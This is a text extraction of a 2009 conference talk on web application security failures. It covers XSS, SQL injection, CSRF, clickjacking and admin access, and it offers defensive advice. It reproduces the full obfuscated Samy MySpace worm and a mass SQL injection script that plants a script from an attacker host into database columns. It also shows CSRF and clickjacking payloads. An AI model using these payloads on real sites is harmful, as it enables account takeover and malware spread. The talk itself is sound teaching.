Web App Security Horror Stories

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Information about Web App Security Horror Stories
Technology

Published on March 7, 2009

Author: simon

Source: slideshare.net

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Presented at FOWA Dublin on 6th March 2009.

Web App Security Horror Stories Simon Willison, 6th March 2009 Saturday, 7 March 2009

This talk is about learning from other people’s mistakes Saturday, 7 March 2009

XSS (cross site scripting) Saturday, 7 March 2009

Rule one: Never let anyone inject their JavaScript in to your page Saturday, 7 March 2009

If you have an XSS hole, I can • Steal your users’ cookies and log in as them • Embed malware and drive-by downloads • Show a fake phishing login page on your site • Perform any action as if I was your user Saturday, 7 March 2009

http://www.flickr.com/photos/tammets/2116105196/ Saturday, 7 March 2009

<div id=mycode style=quot;BACKGROUND: url('java script:eval(document.all.mycode.expr)')quot; expr=quot;var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e) {}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU) {M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')} function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O+ +){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http:// www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1) {Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST') {J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content- Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A +'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE +'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+ 'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']=' heroes';AS['submit']='Preview'; AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero, 'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit'; AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm? fuseaction=profile.processInterests&Mytoken='+AR,nothing, 'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN +'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET'); xmlhttp2=getXMLObj();httpSend2('/index.cfm? fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L, processxForm,'GET')}function processxForm() {if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm??useaction=invite.addFriendsProcess&Mytoken='+AR,nothing, 'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST') {xmlhttp2.setRequestHeader('Content-Type','application/x-www-form- urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}quot;></DIV> Saturday, 7 March 2009

samy is my hero http://namb.la/popular/ Saturday, 7 March 2009

MySpace customisation was “kind of a mistake” http://bit.ly/myspace-mistake Saturday, 7 March 2009

A social network worm • When you viewed Samy’s profile... • JS makes you add him as a friend • JS uses XMLHttpRequest to add his exploit to YOUR profile as well Saturday, 7 March 2009

4th October 2005 12:34 pm: You have 73 friends I decided to release my little popularity program. I'm going to be famous... among my friends. 1:30 am: You have 73 friends and 1 friend request One of my friends' girlfriend looks at my profile. She's obviously checking me out. I approve her inadvertent friend request and go to bed grinning. 8:35 am: You have 74 friends and 221 friend requests Woah. I did not expect this much. I'm surprised it even worked.. 200 people have been infected in 8 hours. That means I'll have 600 new friends added every day. Woah. 9:30 am: You have 74 friends and 480 friend requests Oh wait, it's exponential, isn't it. Shit. Saturday, 7 March 2009

4th October 2005 12:34 pm: You have 73 friends I decided to release my little popularity program. I'm going to be famous... among my friends. 1:30 am: You have 73 friends and 1 friend request One of my friends' girlfriend looks at my profile. She's obviously checking me out. I approve her inadvertent friend request and go to bed grinning. 8:35 am: You have 74 friends and 221 friend requests Woah. I did not expect this much. I'm surprised it even worked.. 200 people have been infected in 8 hours. That means I'll have 600 new friends added every day. Woah. 9:30 am: You have 74 friends and 480 friend requests Oh wait, it's exponential, isn't it. Shit. Saturday, 7 March 2009

4th October 2005 12:34 pm: You have 73 friends I decided to release my little popularity program. I'm going to be famous... among my friends. 1:30 am: You have 73 friends and 1 friend request One of my friends' girlfriend looks at my profile. She's obviously checking me out. I approve her inadvertent friend request and go to bed grinning. 8:35 am: You have 74 friends and 221 friend requests Woah. I did not expect this much. I'm surprised it even worked.. 200 people have been infected in 8 hours. That means I'll have 600 new friends added every day. Woah. 9:30 am: You have 74 friends and 480 friend requests Oh wait, it's exponential, isn't it. Shit. Saturday, 7 March 2009

4th October 2005 12:34 pm: You have 73 friends I decided to release my little popularity program. I'm going to be famous... among my friends. 1:30 am: You have 73 friends and 1 friend request One of my friends' girlfriend looks at my profile. She's obviously checking me out. I approve her inadvertent friend request and go to bed grinning. 8:35 am: You have 74 friends and 221 friend requests Woah. I did not expect this much. I'm surprised it even worked.. 200 people have been infected in 8 hours. That means I'll have 600 new friends added every day. Woah. 9:30 am: You have 74 friends and 480 friend requests Oh wait, it's exponential, isn't it. Shit. Saturday, 7 March 2009

20 hours, 1,005,831 friend requests (then MySpace crashed) Saturday, 7 March 2009

Google’s UTF-7 hole Saturday, 7 March 2009

The UTF-7 hole • Google’s 404 pages didn't specify a charset • IE inspected the first 4096 bytes to “guess” the encoding of the page • UTF-7 XSS attacks slipped through Google's XSS filters but were executed by IE http://shiflett.org/blog/2005/dec/googles-xss-vulnerability Saturday, 7 March 2009

You can’t trust CSS either • HTC in IE and XBL in Mozilla are both vectors for JavaScript attacks • A “position: absolute” hack was used to steal 30,000 MySpace passwords last year http://community.livejournal.com/lj_dev/708069.html http://www.securiteam.com/securitynews/6O00M0AHFW.html Saturday, 7 March 2009

SQL injection Saturday, 7 March 2009

Inexcusable. Use paramaterised queries, or an ORM Saturday, 7 March 2009

If you’re gluing SQL together using string appends Saturday, 7 March 2009

Bad (even though it's secure): $sql = quot;select * from users where nick = 'quot; . mysql_real_escape_string($username) . quot;'quot;; Good: $sql = build_query( quot;select * from users where nick = ?quot;, $nick ); Saturday, 7 March 2009

Mass XSS via SQL injection DECLARE @T varchar(255), @C varchar(255); DECLARE Table_Cursor CURSOR FOR SELECT a.name, b.name FROM sysobjects a, syscolumns b WHERE a.id = b.id AND a.xtype = 'u' AND (b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167); OPEN Table_Cursor; FETCH NEXT FROM Table_Cursor INTO @T, @C; WHILE (@@FETCH_STATUS = 0) BEGIN EXEC( 'update [' + @T + '] set [' + @C + '] = rtrim(convert(varchar,[' + @C + ']))+ ''<script src=http://evilsite.com/1.js></script>''' ); FETCH NEXT FROM Table_Cursor INTO @T, @C; END; CLOSE Table_Cursor; DEALLOCATE Table_Cursor; http://hackademix.net/2008/04/26/mass-attack-faq/ Saturday, 7 March 2009

CSRF Saturday, 7 March 2009

“We’ve found CSRF vulnerabilities in sites that have a huge incentive to do security correctly. If you’re in charge of a website and haven’t specifically protected against CSRF, chances are you’re vulnerable” - Bill Zeller Saturday, 7 March 2009

Ever see a link like this? <a href=quot;http://app.example.com/delete.php?id=1quot;>Delete</a> Saturday, 7 March 2009

Now what if I do this: <img src=quot;http://app.example.com/delete.php?id=1quot;> <img src=quot;http://app.example.com/delete.php?id=2quot;> <img src=quot;http://app.example.com/delete.php?id=3quot;> <img src=quot;http://app.example.com/delete.php?id=4quot;> <img src=quot;http://app.example.com/delete.php?id=5quot;> ... and trick you in to visiting my site? Saturday, 7 March 2009

POST will not save you <form action=quot;http://app.example.com/delete.phpquot; method=quot;POSTquot;> <input type=quot;hiddenquot; name=quot;idquot; value=quot;1quot;> <input type=quot;submitquot; value=quot;More kittens please!quot;> </form> http://www.flickr.com/photos/fofurasfelinas/9724483/ Saturday, 7 March 2009

Or submit with JavaScript <div style=quot;display: nonequot;> <form action=quot;http://app.example.com/delete.phpquot; method=quot;POSTquot;> <input type=quot;hiddenquot; name=quot;idquot; value=quot;1quot;> </form> </div> <script>document.forms[0].submit()</script> Saturday, 7 March 2009

The Digg exploit • A few years ago, Digg had no CSRF protection on their “digg this” button • The result: self-digging pages! http://ha.ckers.org/blog/20060615/a-story-that-diggs-itself/ Saturday, 7 March 2009

The Gmail filter hack http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/ Saturday, 7 March 2009

“We believe this is the first CSRF vulnerability to allow the transfer of funds from a financial institution.” http://www.freedom-to-tinker.com/blog/wzeller/ popular-websites-vulnerable-cross-site-request-forgery-attacks Saturday, 7 March 2009

Preventing CSRF • You need to distinguish between form interactions from your user on your site, and form interactions from your user on some other site • Referrer checking is notoriously unreliable • Solution: include a form token (Yahoo! calls this a “crumb”) proving that the post came from your site Saturday, 7 March 2009

Crumbs <form action=quot;http://app.example.com/delete.phpquot; method=quot;POSTquot;> <input type=quot;hiddenquot; name=quot;idquot; value=quot;37quot;> <input type=quot;hiddenquot; name=quot;crumbquot; value=quot;856c2f50ddc49fd710f14a406ec1fef652d3c9fquot;> <input type=quot;submitquot; value=quot;Delete this itemquot;> </form> Saturday, 7 March 2009

Protecting the crumb • Your crumb is now the only thing protecting you from CSRF attacks • This is why XSS is such a big deal • With XSS, I can steal your crumb and run riot across your site • XSS holes are automatically CSRF holes Saturday, 7 March 2009

Login CSRF Saturday, 7 March 2009

Use CSRF to force a user to sign in to an account you have created on a trusted site Saturday, 7 March 2009

... and wait for them to add private information, such as their credit card details Saturday, 7 March 2009

Clickjacking Saturday, 7 March 2009

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iframe ! Saturday, 7 March 2009

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<style type=quot;text/cssquot;> iframe { width: 400px; height: 200px; position: absolute; top: 10px; left: 10px; overflow: hidden; opacity: 0; } #decoy { ... } </style> <iframe src=quot;http://veryimportantapp.com/delete-account/quot;> </iframe> <p id=quot;decoyquot;>Click HERE for kittens!</p> Saturday, 7 March 2009

Clickjacking protection • Frame busting JavaScript • <iframe security=quot;restrictedquot;> in IE • quot;X-FRAME-OPTIONS: DENYquot; in IE 8 • The NoScript extension for Firefox Saturday, 7 March 2009

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Anti click-jacki ng Saturday, 7 March 2009

Admin access horror stories Saturday, 7 March 2009

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How did they do it? They guessed the URL Saturday, 7 March 2009

The Twitter hack • A bored teenager ran a brute force attack against a popular Twitter user • quot;happinessquot; is a dictionary word • She happened to be Twitter staff, with admin access Saturday, 7 March 2009

Saturday, 7 March 2009

Keep admin accounts separate from regular user accounts Saturday, 7 March 2009

crossdomain.xml <cross-domain-policy> <allow-access-from domain=quot;*quot; /> </cross-domain-policy> Putting this at example.com/crossdomain.xml allows Flash applets on other sites to read your pages and steal your crumbs Flash can even fake an X-Requested-With: XMLHttpRequest header That’s why Flickr use api.flickr.com/crossdomain.xml instead Saturday, 7 March 2009

crossdomain.xml <cross-domain-policy> <allow-access-from domain=quot;*quot; /> </cross-domain-policy> Putting this at example.com/crossdomain.xml allows Flash applets on other sites to read your pages and steal your crumbs That’s why Flickr use api.flickr.com/crossdomain.xml instead Saturday, 7 March 2009

YouTube/Gmail combo attack! <allow-access-from domain=quot;*.google.comquot; /> 1. Attacker emails a special SWF to a Gmail account they control and locates the attachment download URL on google.com 2. Logged-in YouTube user visits an attacker controlled page 3. Attacker forces their victim to authenticate to the attackers Gmail account (using login CSRF) 4. Attacker embeds SWF from the Gmail account into the web page 5. Attacker now has read write access on YouTube.com as the victim’s account http://jeremiahgrossman.blogspot.com/2008/09/i-used-to-know-what-you-watched-on.html Saturday, 7 March 2009

No matter how hard you try, you can’t secure your site 100% There’s always a chance a browser, plugin or compromised client machine will screw everything up anyway Saturday, 7 March 2009

... and 70% of users will give their password to a stranger in exchange for a bar of chocolate http://news.bbc.co.uk/1/hi/technology/3639679.stm Saturday, 7 March 2009

Thank you! Saturday, 7 March 2009

http://simonwillison.net/tags/xss/ http://simonwillison.net/tags/csrf/ http://simonwillison.net/tags/logincsrf/ http://simonwillison.net/tags/security/ Title photo: http://www.flickr.com/photos/jalex_photo/1680862003/ Saturday, 7 March 2009

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